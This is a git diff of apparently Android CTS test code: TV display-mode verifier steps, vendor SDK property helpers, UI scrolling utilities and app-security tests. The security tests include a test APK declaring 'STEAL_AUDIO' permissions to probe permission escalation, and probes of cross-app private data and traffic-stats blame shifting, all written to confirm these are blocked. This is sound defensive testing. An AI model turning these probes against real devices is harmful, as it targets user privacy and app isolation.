- public void runTest() {
- DisplayManager displayManager = mContext.getSystemService(DisplayManager.class);
- Display display = displayManager.getDisplay(Display.DEFAULT_DISPLAY);
- getAsserter()
- .withMessage("Display.getMode()")
- .about(MODE_SUBJECT_FACTORY)
- .that(display.getMode())
- .isEquivalentToAnyOf(
- REFRESH_RATE_PRECISION,
- new Mode(3840, 2160, 60f),
- new Mode(3840, 2160, 50f));
-
- Mode[] expected2160pSupportedModes =
- new Mode[] {
- new Mode(720, 480, 60f),
- new Mode(720, 576, 50f),
- // 720p modes
- new Mode(1280, 720, 50f),
- new Mode(1280, 720, 60f),
- // 1080p modes
- new Mode(1920, 1080, 24f),
- new Mode(1920, 1080, 25f),
- new Mode(1920, 1080, 30f),
- new Mode(1920, 1080, 50f),
- new Mode(1920, 1080, 60f),
- // 2160p modes
- new Mode(3840, 2160, 24f),
- new Mode(3840, 2160, 25f),
- new Mode(3840, 2160, 30f),
- new Mode(3840, 2160, 50f),
- new Mode(3840, 2160, 60f)
- };
- getAsserter()
- .withMessage("Display.getSupportedModes()")
- .that(Arrays.asList(display.getSupportedModes()))
- .comparingElementsUsing(MODE_CORRESPONDENCE)
- .containsAtLeastElementsIn(expected2160pSupportedModes);
- }
- }
-
- private static class Display1080pTestStep extends SyncTestStep {
- public Display1080pTestStep(TvAppVerifierActivity context) {
- super(
- context,
- R.string.tv_display_modes_test_step_1080p,
- getInstructionText(context),
- getButtonStringId());
- }
-
- private static String getInstructionText(Context context) {
- return context.getString(
- R.string.tv_display_modes_connect_1080p_display,
- context.getString(getButtonStringId()));
- }
-
- private static @StringRes int getButtonStringId() {
- return R.string.tv_start_test;
- }
-
- @Override
- public void runTest() {
- DisplayManager displayManager = mContext.getSystemService(DisplayManager.class);
- Display display = displayManager.getDisplay(Display.DEFAULT_DISPLAY);
-
- getAsserter()
- .withMessage("Display.getMode()")
- .about(MODE_SUBJECT_FACTORY)
- .that(display.getMode())
- .isEquivalentToAnyOf(
- REFRESH_RATE_PRECISION,
- new Mode(1920, 1080, 60f),
- new Mode(1920, 1080, 50f));
-
- final Mode[] expected1080pSupportedModes =
- new Mode[] {
- new Mode(720, 480, 60f),
- new Mode(720, 576, 50f),
- // 720p modes
- new Mode(1280, 720, 50f),
- new Mode(1280, 720, 60f),
- // 1080p modes
- new Mode(1920, 1080, 24f),
- new Mode(1920, 1080, 25f),
- new Mode(1920, 1080, 30f),
- new Mode(1920, 1080, 50f),
- new Mode(1920, 1080, 60f),
- };
- getAsserter()
- .withMessage("Display.getSupportedModes()")
- .that(Arrays.asList(display.getSupportedModes()))
- .comparingElementsUsing(MODE_CORRESPONDENCE)
- .containsAtLeastElementsIn(expected1080pSupportedModes);
- }
- }
-
- private static class TvPanelReportedModesAreSupportedTestStep extends YesNoTestStep {
- public TvPanelReportedModesAreSupportedTestStep(TvAppVerifierActivity context) {
- super(context, getInstructionText(context));
- }
-
- private static String getInstructionText(Context context) {
- DisplayManager displayManager = context.getSystemService(DisplayManager.class);
- Display display = displayManager.getDisplay(Display.DEFAULT_DISPLAY);
- String supportedModes =
- Arrays.stream(display.getSupportedModes())
- .map(DisplayModesTestActivity::formatDisplayMode)
- .collect(Collectors.joining("\n"));
-
- return context.getString(
- R.string.tv_panel_display_modes_reported_are_supported, supportedModes);
- }
- }
-
- private static class TvPanelSupportedModesAreReportedTestStep extends YesNoTestStep {
- public TvPanelSupportedModesAreReportedTestStep(TvAppVerifierActivity context) {
- super(context, getInstructionText(context));
- }
-
- private static String getInstructionText(Context context) {
- return context.getString(R.string.tv_panel_display_modes_supported_are_reported);
- }
- }
-
- // We use a custom Mode class since the constructors of Display.Mode are hidden. Additionally,
- // we want to use fuzzy comparison for frame rates which is not used in Display.Mode.equals().
- private static class Mode {
- public int mWidth;
- public int mHeight;
- public float mRefreshRate;
-
- public Mode(int width, int height, float refreshRate) {
- this.mWidth = width;
- this.mHeight = height;
- this.mRefreshRate = refreshRate;
- }
-
- public boolean isEquivalent(Display.Mode displayMode, float refreshRatePrecision) {
- return mHeight == displayMode.getPhysicalHeight()
- && mWidth == displayMode.getPhysicalWidth()
- && Math.abs(mRefreshRate - displayMode.getRefreshRate()) < refreshRatePrecision;
- }
-
- @Override
- public String toString() {
- return formatDisplayMode(mWidth, mHeight, mRefreshRate);
- }
- }
-
- private static class ModeSubject extends Subject {
- private final Display.Mode mActual;
-
- public ModeSubject(FailureMetadata failureMetadata, @Nullable Display.Mode subject) {
- super(failureMetadata, subject);
- mActual = subject;
- }
-
- public void isEquivalentToAnyOf(final float refreshRatePrecision, Mode... modes) {
- boolean found = Arrays.stream(modes)
- .anyMatch(mode -> mode.isEquivalent(mActual, refreshRatePrecision));
- if (!found) {
- failWithActual("expected any of", Arrays.toString(modes));
- }
- }
- }
-
- private static String formatDisplayMode(Display.Mode mode) {
- return formatDisplayMode(
- mode.getPhysicalWidth(), mode.getPhysicalHeight(), mode.getRefreshRate());
- }
-
- private static String formatDisplayMode(int width, int height, float refreshRate) {
- return String.format("%dx%d %.2f Hz", width, height, refreshRate);
- }
-}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/tv/display/YesNoTestStep.java b/apps/CtsVerifier/src/com/android/cts/verifier/tv/display/YesNoTestStep.java
index 4da4d18..4f300d4 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/tv/display/YesNoTestStep.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/tv/display/YesNoTestStep.java
@@ -27,9 +27,10 @@
* two buttons - Yes and No, which respectively set the test in passing and failing state.
*/
public abstract class YesNoTestStep extends TestStepBase {
- private View yesButton;
- private View noButton;
-
+ private View positiveButton;
+ private View negativeButton;
+ private final int positiveButtonText;
+ private final int negativeButtonText;
/**
* Constructs a test step containing human instructions for a manual test and two buttons - Yes
* and No.
@@ -37,24 +38,27 @@
* @param context The test activity which this test step is part of.
* @param instructionText The text of the test instruction visible to the user.
*/
- public YesNoTestStep(TvAppVerifierActivity context, String instructionText) {
+ public YesNoTestStep(TvAppVerifierActivity context, String instructionText,
+ int positiveButtonText, int negativeButtonText) {
super(context, instructionText);
+ this.positiveButtonText = positiveButtonText;
+ this.negativeButtonText = negativeButtonText;
}
@Override
public void createUiElements() {
super.createUiElements();
- yesButton =
+ positiveButton =
mContext.createButtonItem(
- R.string.tv_yes,
+ positiveButtonText,
(View view) -> {
disableInteractivity();
// do nothing so the test will pass
done();
});
- noButton =
+ negativeButton =
mContext.createButtonItem(
- R.string.tv_no,
+ negativeButtonText,
(View view) -> {
disableInteractivity();
getAsserter().fail();
@@ -64,13 +68,13 @@
@Override
public void enableInteractivity() {
- TvAppVerifierActivity.setButtonEnabled(yesButton, true);
- TvAppVerifierActivity.setButtonEnabled(noButton, true);
+ TvAppVerifierActivity.setButtonEnabled(positiveButton, true);
+ TvAppVerifierActivity.setButtonEnabled(negativeButton, true);
}
@Override
public void disableInteractivity() {
- TvAppVerifierActivity.setButtonEnabled(yesButton, false);
- TvAppVerifierActivity.setButtonEnabled(noButton, false);
+ TvAppVerifierActivity.setButtonEnabled(positiveButton, false);
+ TvAppVerifierActivity.setButtonEnabled(negativeButton, false);
}
}
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/PropertyUtil.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/PropertyUtil.java
index fb25dd7..c5933a7 100644
--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/PropertyUtil.java
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/PropertyUtil.java
@@ -16,7 +16,10 @@
package com.android.compatibility.common.util;
+import static org.junit.Assert.assertNotEquals;
+
import android.os.Build;
+import android.os.SystemProperties;
import androidx.test.InstrumentationRegistry;
@@ -41,6 +44,7 @@
private static final String BUILD_TYPE_PROPERTY = "ro.build.type";
private static final String MANUFACTURER_PROPERTY = "ro.product.manufacturer";
private static final String TAG_DEV_KEYS = "dev-keys";
+ private static final String VENDOR_SDK_VERSION = "ro.vendor.build.version.sdk";
private static final String VNDK_VERSION = "ro.vndk.version";
public static final String GOOGLE_SETTINGS_QUERY =
@@ -75,30 +79,57 @@
}
/**
- * Return whether the SDK version of the vendor partiton is newer than the given API level.
+ * Return whether the VNDK version of the vendor partiton is newer than the given API level.
* If the property is set to non-integer value, this means the vendor partition is using
* current API level and true is returned.
*/
- public static boolean isVendorApiLevelNewerThan(int apiLevel) {
- int vendorApiLevel = getPropertyInt(VNDK_VERSION);
- if (vendorApiLevel == INT_VALUE_IF_UNSET) {
+ public static boolean isVndkApiLevelNewerThan(int apiLevel) {
+ int vndkApiLevel = getPropertyInt(VNDK_VERSION);
+ if (vndkApiLevel == INT_VALUE_IF_UNSET) {
return true;
}
- return vendorApiLevel > apiLevel;
+ return vndkApiLevel > apiLevel;
+ }
+
+ /**
+ * Return whether the VNDK version of the vendor partiton is same or newer than the
+ * given API level.
+ * If the property is set to non-integer value, this means the vendor partition is using
+ * current API level and true is returned.
+ */
+ public static boolean isVndkApiLevelAtLeast(int apiLevel) {
+ int vndkApiLevel = getPropertyInt(VNDK_VERSION);
+ if (vndkApiLevel == INT_VALUE_IF_UNSET) {
+ return true;
+ }
+ return vndkApiLevel >= apiLevel;
+ }
+
+ /**
+ * Return whether the SDK version of the vendor partiton is newer than the given API level.
+ */
+ public static boolean isVendorApiLevelNewerThan(int apiLevel) {
+ int vendorSdkVersion = SystemProperties.getInt(VENDOR_SDK_VERSION, 0);
+ // Run previous action when failed to get ro.vendor.build.version.sdk
+ // b/166800127 for details
+ if (vendorSdkVersion == 0) {
+ return isVndkApiLevelNewerThan(apiLevel);
+ }
+ return vendorSdkVersion > apiLevel;
}
/**
* Return whether the SDK version of the vendor partiton is same or newer than the
* given API level.
- * If the property is set to non-integer value, this means the vendor partition is using
- * current API level and true is returned.
*/
public static boolean isVendorApiLevelAtLeast(int apiLevel) {
- int vendorApiLevel = getPropertyInt(VNDK_VERSION);
- if (vendorApiLevel == INT_VALUE_IF_UNSET) {
- return true;
+ int vendorSdkVersion = SystemProperties.getInt(VENDOR_SDK_VERSION, 0);
+ // Run previous action when failed to get ro.vendor.build.version.sdk
+ // b/166800127 for details
+ if (vendorSdkVersion == 0) {
+ return isVndkApiLevelAtLeast(apiLevel);
}
- return vendorApiLevel >= apiLevel;
+ return vendorSdkVersion >= apiLevel;
}
/**
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/UiAutomatorUtils.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/UiAutomatorUtils.java
index 07133d6..c2e4224 100644
--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/UiAutomatorUtils.java
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/UiAutomatorUtils.java
@@ -36,7 +36,7 @@
}
public static UiObject2 waitFindObject(BySelector selector) throws UiObjectNotFoundException {
- return waitFindObject(selector, 10_000);
+ return waitFindObject(selector, 20_000);
}
public static UiObject2 waitFindObject(BySelector selector, long timeoutMs)
@@ -51,21 +51,33 @@
public static UiObject2 waitFindObjectOrNull(BySelector selector)
throws UiObjectNotFoundException {
- return waitFindObjectOrNull(selector, 10_000);
+ return waitFindObjectOrNull(selector, 20_000);
}
public static UiObject2 waitFindObjectOrNull(BySelector selector, long timeoutMs)
throws UiObjectNotFoundException {
UiObject2 view = null;
long start = System.currentTimeMillis();
+
+ boolean isAtEnd = false;
+ boolean wasScrolledUpAlready = false;
while (view == null && start + timeoutMs > System.currentTimeMillis()) {
- view = getUiDevice().wait(Until.findObject(selector), timeoutMs / 10);
+ view = getUiDevice().wait(Until.findObject(selector), 1000);
if (view == null) {
UiScrollable scrollable = new UiScrollable(new UiSelector().scrollable(true));
scrollable.setSwipeDeadZonePercentage(0.25);
if (scrollable.exists()) {
- scrollable.scrollForward();
+ if (isAtEnd) {
+ if (wasScrolledUpAlready) {
+ return null;
+ }
+ scrollable.scrollToBeginning(Integer.MAX_VALUE);
+ isAtEnd = false;
+ wasScrolledUpAlready = true;
+ } else {
+ isAtEnd = !scrollable.scrollForward();
+ }
}
}
}
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/EphemeralTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/EphemeralTest.java
index 7472748..72de9bb 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/EphemeralTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/EphemeralTest.java
@@ -21,6 +21,8 @@
import static org.junit.Assert.fail;
import android.platform.test.annotations.AppModeFull;
+import android.platform.test.annotations.SecurityTest;
+
import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
import com.android.tradefed.log.LogUtil.CLog;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
@@ -378,6 +380,26 @@
"testInstallPermissionGranted");
}
+ @Test
+ @SecurityTest(minPatchLevel = "2020-11")
+ public void testInstallPermissionNotGrantedInPackageInfo() throws Exception {
+ if (mIsUnsupportedDevice) {
+ return;
+ }
+ Utils.runDeviceTestsAsCurrentUser(getDevice(), EPHEMERAL_1_PKG, TEST_CLASS,
+ "testInstallPermissionNotGrantedInPackageInfo");
+ }
+
+ @Test
+ @SecurityTest(minPatchLevel = "2020-11")
+ public void testInstallPermissionGrantedInPackageInfo() throws Exception {
+ if (mIsUnsupportedDevice) {
+ return;
+ }
+ Utils.runDeviceTestsAsCurrentUser(getDevice(), EPHEMERAL_1_PKG, TEST_CLASS,
+ "testInstallPermissionGrantedInPackageInfo");
+ }
+
/** Test for android.permission.INSTANT_APP_FOREGROUND_SERVICE */
@Test
public void testStartForegroundService() throws Exception {
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/PermissionEscalationTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/PermissionEscalationTest.java
new file mode 100644
index 0000000..e241668
--- /dev/null
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/PermissionEscalationTest.java
@@ -0,0 +1,82 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.appsecurity.cts;
+
+import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
+import com.android.tradefed.build.IBuildInfo;
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.testtype.DeviceTestCase;
+import com.android.tradefed.testtype.IBuildReceiver;
+
+public class PermissionEscalationTest extends DeviceTestCase implements IBuildReceiver {
+ private static final String ESCALATE_PERMISSION_PKG = "com.android.cts.escalate.permission";
+
+ private static final String APK_DECLARE_NON_RUNTIME_PERMISSIONS =
+ "CtsDeclareNonRuntimePermissions.apk";
+ private static final String APK_ESCLATE_TO_RUNTIME_PERMISSIONS =
+ "CtsEscalateToRuntimePermissions.apk";
+
+ private CompatibilityBuildHelper mBuildHelper;
+
+ @Override
+ public void setBuild(IBuildInfo buildInfo) {
+ mBuildHelper = new CompatibilityBuildHelper(buildInfo);
+ }
+
+ @Override
+ protected void setUp() throws Exception {
+ super.setUp();
+
+ Utils.prepareSingleUser(getDevice());
+ assertNotNull(mBuildHelper);
+
+ getDevice().uninstallPackage(ESCALATE_PERMISSION_PKG);
+ }
+
+ @Override
+ protected void tearDown() throws Exception {
+ super.tearDown();
+
+ getDevice().uninstallPackage(ESCALATE_PERMISSION_PKG);
+ }
+
+ public void testNoPermissionEscalation() throws Exception {
+ assertNull(getDevice().installPackage(mBuildHelper.getTestFile(
+ APK_DECLARE_NON_RUNTIME_PERMISSIONS), false, false));
+ assertNull(getDevice().installPackage(mBuildHelper.getTestFile(
+ APK_ESCLATE_TO_RUNTIME_PERMISSIONS), true, false));
+ runDeviceTests(ESCALATE_PERMISSION_PKG,
+ "com.android.cts.escalatepermission.PermissionEscalationTest",
+ "testCannotEscalateNonRuntimePermissionsToRuntime");
+ }
+
+ public void testNoPermissionEscalationAfterReboot() throws Exception {
+ assertNull(getDevice().installPackage(mBuildHelper.getTestFile(
+ APK_DECLARE_NON_RUNTIME_PERMISSIONS), false, false));
+ assertNull(getDevice().installPackage(mBuildHelper.getTestFile(
+ APK_ESCLATE_TO_RUNTIME_PERMISSIONS), true, false));
+ getDevice().reboot();
+ runDeviceTests(ESCALATE_PERMISSION_PKG,
+ "com.android.cts.escalatepermission.PermissionEscalationTest",
+ "testRuntimePermissionsAreNotGranted");
+ }
+
+ private void runDeviceTests(String packageName, String testClassName, String testMethodName)
+ throws DeviceNotAvailableException {
+ Utils.runDeviceTestsAsCurrentUser(getDevice(), packageName, testClassName, testMethodName);
+ }
+}
diff --git a/hostsidetests/appsecurity/test-apps/AppAccessData/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/AppAccessData/AndroidManifest.xml
index fdbb439..20be1a7 100644
--- a/hostsidetests/appsecurity/test-apps/AppAccessData/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/AppAccessData/AndroidManifest.xml
@@ -23,6 +23,11 @@
created by com.android.cts.appwithdata.
-->
+ <!--
+ We want to test without app data isolation, which comes with targetSdk 30.
+ -->
+ <uses-sdk android:targetSdkVersion="29" />
+
<uses-permission android:name="android.permission.INTERNET"/>
<application>
diff --git a/hostsidetests/appsecurity/test-apps/AppAccessData/src/com/android/cts/appaccessdata/AccessPrivateDataTest.java b/hostsidetests/appsecurity/test-apps/AppAccessData/src/com/android/cts/appaccessdata/AccessPrivateDataTest.java
index b1f804e..74d754d 100644
--- a/hostsidetests/appsecurity/test-apps/AppAccessData/src/com/android/cts/appaccessdata/AccessPrivateDataTest.java
+++ b/hostsidetests/appsecurity/test-apps/AppAccessData/src/com/android/cts/appaccessdata/AccessPrivateDataTest.java
@@ -20,6 +20,7 @@
import static org.junit.Assert.assertFalse;
import static org.junit.Assert.fail;
+import android.content.Context;
import android.content.pm.ApplicationInfo;
import android.content.pm.PackageManager;
import android.content.pm.PackageManager.NameNotFoundException;
@@ -28,10 +29,14 @@
import android.os.Bundle;
import android.os.ParcelFileDescriptor;
import android.os.SystemClock;
+import android.system.ErrnoException;
+import android.system.Os;
+import android.system.OsConstants;
import androidx.test.InstrumentationRegistry;
import androidx.test.runner.AndroidJUnit4;
+import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
@@ -45,6 +50,9 @@
/**
* Test that another app's private data cannot be accessed, while its public data can.
*
+ * These tests are for apps targeting SDK 29 (or lower). Tests for the behavior for apps targeting
+ * SDK 30+ are in {@code AppDataIsolationTests}.
+ *
* Assumes that {@link #APP_WITH_DATA_PKG} has already created the private and public data.
*/
@RunWith(AndroidJUnit4.class)
@@ -70,10 +78,15 @@
private static final Uri PRIVATE_TARGET = Uri.parse("content://com.android.cts.appwithdata/");
+ private Context mContext;
+
+ @Before
+ public void setUp() {
+ mContext = InstrumentationRegistry.getContext();
+ }
+
/**
- * Tests that another app's private data cannot be accessed. It includes file
- * and detailed traffic stats.
- * @throws IOException
+ * Tests that another app's private data cannot be accessed.
*/
@Test
public void testAccessPrivateData() throws IOException {
@@ -90,17 +103,8 @@
}
}
- private ApplicationInfo getApplicationInfo(String packageName) {
- try {
- return InstrumentationRegistry.getContext().getPackageManager().getApplicationInfo(packageName, 0);
- } catch (PackageManager.NameNotFoundException e) {
- throw new IllegalStateException("Expected package not found: " + e);
- }
- }
-
/**
- * Tests that another app's public file can be accessed
- * @throws IOException
+ * Tests that another app's public file cannot be accessed
*/
@Test
public void testAccessPublicData() throws IOException {
@@ -117,6 +121,21 @@
}
}
+ /**
+ * Tests that we can't even access another app's root private data dir.
+ */
+ @Test
+ public void testStatPrivateDataDir() {
+ ApplicationInfo applicationInfo = getApplicationInfo(APP_WITH_DATA_PKG);
+ String path = applicationInfo.dataDir;
+ try {
+ Os.stat(path);
+ fail("Was able to stat() another app's private data dir: " + path);
+ } catch (ErrnoException expected) {
+ assertEquals(path, OsConstants.EACCES, expected.errno);
+ }
+ }
+
@Test
public void testAccessProcQtaguidTrafficStatsFailed() {
// For untrusted app with SDK P or above, proc/net/xt_qtaguid files are no long readable.
@@ -130,7 +149,7 @@
public void testAccessPrivateTrafficStats() {
int otherAppUid = -1;
try {
- otherAppUid = InstrumentationRegistry.getContext()
+ otherAppUid = mContext
.createPackageContext(APP_WITH_DATA_PKG, 0 /*flags*/)
.getApplicationInfo().uid;
} catch (NameNotFoundException e) {
@@ -159,7 +178,7 @@
final long txp = TrafficStats.getUidTxPackets(uid);
// Start remote server
- final int port = InstrumentationRegistry.getContext().getContentResolver().call(PRIVATE_TARGET, "start", null, null)
+ final int port = mContext.getContentResolver().call(PRIVATE_TARGET, "start", null, null)
.getInt("port");
// Try talking to them, but shift blame
@@ -169,7 +188,7 @@
Bundle extras = new Bundle();
extras.putParcelable("fd", ParcelFileDescriptor.fromSocket(socket));
- InstrumentationRegistry.getContext().getContentResolver().call(PRIVATE_TARGET, "tag", null, extras);
+ mContext.getContentResolver().call(PRIVATE_TARGET, "tag", null, extras);
socket.connect(new InetSocketAddress("localhost", port));
@@ -181,7 +200,7 @@
} catch (IOException e) {
throw new RuntimeException(e);
} finally {
- InstrumentationRegistry.getContext().getContentResolver().call(PRIVATE_TARGET, "stop", null, null);
+ mContext.getContentResolver().call(PRIVATE_TARGET, "stop", null, null);
}
SystemClock.sleep(1000);
@@ -192,4 +211,12 @@
assertEquals(txb, TrafficStats.getUidTxBytes(uid));
assertEquals(txp, TrafficStats.getUidTxPackets(uid));
}
+
+ private ApplicationInfo getApplicationInfo(String packageName) {
+ try {
+ return mContext.getPackageManager().getApplicationInfo(packageName, 0);
+ } catch (PackageManager.NameNotFoundException e) {
+ throw new IllegalStateException("Expected package not found: " + e);
+ }
+ }
}
diff --git a/hostsidetests/appsecurity/test-apps/AppDataIsolationTestApp/AppA/src/com/android/cts/appdataisolation/appa/AppATests.java b/hostsidetests/appsecurity/test-apps/AppDataIsolationTestApp/AppA/src/com/android/cts/appdataisolation/appa/AppATests.java
index 4e8cadf..f439579 100644
--- a/hostsidetests/appsecurity/test-apps/AppDataIsolationTestApp/AppA/src/com/android/cts/appdataisolation/appa/AppATests.java
+++ b/hostsidetests/appsecurity/test-apps/AppDataIsolationTestApp/AppA/src/com/android/cts/appdataisolation/appa/AppATests.java
@@ -239,11 +239,12 @@
mContext.registerReceiver(receiver, new IntentFilter(Intent.ACTION_BOOT_COMPLETED));
testUnlockDevice();
- setUpExternalStoragePaths();
assertTrue("User not unlocked", unlocked.await(1, TimeUnit.MINUTES));
assertTrue("No locked boot complete", bootCompleted.await(1, TimeUnit.MINUTES));
+ setUpExternalStoragePaths();
+
// The test app process should be still running, make sure CE DE now is available
testAppACeDataExists();
testAppADeDataExists();
@@ -283,4 +284,4 @@
mContext.unbindService(mServiceConnection);
}
}
-}
\ No newline at end of file
+}
diff --git a/hostsidetests/appsecurity/test-apps/AppWithData/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/AppWithData/AndroidManifest.xml
index cf85210..ea8a824 100644
--- a/hostsidetests/appsecurity/test-apps/AppWithData/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/AppWithData/AndroidManifest.xml
@@ -23,6 +23,12 @@
access.
-->
+ <!--
+ We want to test without app data isolation, which comes with targetSdk 30.
+ -->
+ <uses-sdk android:targetSdkVersion="29" />
+
+
<uses-permission android:name="android.permission.INTERNET" />
<application>
diff --git a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/InstalltimePermissionUserApp/Android.bp b/hostsidetests/appsecurity/test-apps/DeclareNotRuntimePermissions/Android.bp
similarity index 73%
copy from tests/tests/permission/testapps/RevokePermissionWhenRemoved/InstalltimePermissionUserApp/Android.bp
copy to hostsidetests/appsecurity/test-apps/DeclareNotRuntimePermissions/Android.bp
index f720d7d..fa68a6d 100644
--- a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/InstalltimePermissionUserApp/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/DeclareNotRuntimePermissions/Android.bp
@@ -1,4 +1,5 @@
-// Copyright (C) 2019 The Android Open Source Project
+//
+// Copyright (C) 2016 The Android Open Source Project
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
@@ -13,14 +14,17 @@
// limitations under the License.
//
-android_test_helper_app {
- name: "CtsInstalltimePermissionUserApp",
- defaults: ["cts_defaults"],
+android_test {
+ name: "CtsDeclareNonRuntimePermissions",
+ defaults: ["cts_support_defaults"],
sdk_version: "current",
- // Tag this module as a cts test artifact
test_suites: [
"cts",
+ "vts",
"general-tests",
+ "mts",
],
- certificate: ":cts-testkey2",
+ dex_preopt: {
+ enabled: false,
+ },
}
diff --git a/hostsidetests/appsecurity/test-apps/DeclareNotRuntimePermissions/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/DeclareNotRuntimePermissions/AndroidManifest.xml
new file mode 100644
index 0000000..411a66b
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/DeclareNotRuntimePermissions/AndroidManifest.xml
@@ -0,0 +1,33 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2016 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="com.android.cts.escalate.permission">
+
+ <permission android:name="com.android.cts.escalate.permission.STEAL_AUDIO1"
+ android:permissionGroup="android.permission-group.MICROPHONE"
+ android:protectionLevel="normal"/>
+
+ <permission android:name="com.android.cts.escalate.permission.STEAL_AUDIO2"
+ android:permissionGroup="android.permission-group.MICROPHONE"
+ android:protectionLevel="signature"/>
+
+ <uses-permission android:name="com.android.cts.escalate.permission.STEAL_AUDIO1"/>
+ <uses-permission android:name="com.android.cts.escalate.permission.STEAL_AUDIO2"/>
+
+ <application android:hasCode="false"/>
+
+</manifest>
diff --git a/hostsidetests/appsecurity/test-apps/DocumentClient/src/com/android/cts/documentclient/DocumentsClientTest.java b/hostsidetests/appsecurity/test-apps/DocumentClient/src/com/android/cts/documentclient/DocumentsClientTest.java
index 354bf5b..4f9850a 100644
--- a/hostsidetests/appsecurity/test-apps/DocumentClient/src/com/android/cts/documentclient/DocumentsClientTest.java
+++ b/hostsidetests/appsecurity/test-apps/DocumentClient/src/com/android/cts/documentclient/DocumentsClientTest.java
@@ -111,7 +111,7 @@
try {
//Enfornce to set the list mode
//Because UiScrollable can't reach the real bottom (when WEB_LINKABLE_FILE item) in grid mode when screen landscape mode
- new UiObject(new UiSelector().resourceId("com.android.documentsui:id/option_menu_list")).click();
+ new UiObject(new UiSelector().resourceId(getDocumentsUiPackageId() + ":id/sub_menu_list")).click();
mDevice.waitForIdle();
}catch (UiObjectNotFoundException e){
//do nothing, already be in list mode.
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/Android.bp b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/Android.bp
index f153697..066996c 100644
--- a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/Android.bp
@@ -27,11 +27,13 @@
"ctsdeviceutillegacy-axt",
"ctstestrunner-axt",
"testng",
+ "platform-test-annotations",
],
// tag this module as a cts test artifact
test_suites: [
"cts",
"general-tests",
+ "sts",
],
srcs: ["src/**/*.java"],
resource_dirs: ["res"],
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/src/com/android/cts/ephemeralapp1/ClientTest.java b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/src/com/android/cts/ephemeralapp1/ClientTest.java
index 5930840..6905564 100644
--- a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/src/com/android/cts/ephemeralapp1/ClientTest.java
+++ b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/src/com/android/cts/ephemeralapp1/ClientTest.java
@@ -23,6 +23,7 @@
import static org.hamcrest.CoreMatchers.equalTo;
import static org.hamcrest.CoreMatchers.hasItems;
import static org.hamcrest.CoreMatchers.is;
+import static org.hamcrest.CoreMatchers.not;
import static org.hamcrest.CoreMatchers.notNullValue;
import static org.hamcrest.CoreMatchers.nullValue;
import static org.junit.Assert.assertSame;
@@ -69,6 +70,7 @@
import androidx.test.InstrumentationRegistry;
import androidx.test.runner.AndroidJUnit4;
+import android.platform.test.annotations.SecurityTest;
import com.android.cts.util.TestResult;
@@ -78,6 +80,7 @@
import org.junit.runner.RunWith;
import java.io.IOException;
+import java.util.Arrays;
import java.util.Iterator;
import java.util.List;
import java.util.concurrent.CountDownLatch;
@@ -1169,6 +1172,30 @@
}
@Test
+ @SecurityTest(minPatchLevel = "2020-11")
+ public void testInstallPermissionNotGrantedInPackageInfo() throws Exception {
+ assertThat(isPermissionGrantedInPackageInfo(Manifest.permission.SET_ALARM), is(false));
+ }
+
+ @Test
+ @SecurityTest(minPatchLevel = "2020-11")
+ public void testInstallPermissionGrantedInPackageInfo() throws Exception {
+ assertThat(isPermissionGrantedInPackageInfo(Manifest.permission.INTERNET), is(true));
+ }
+
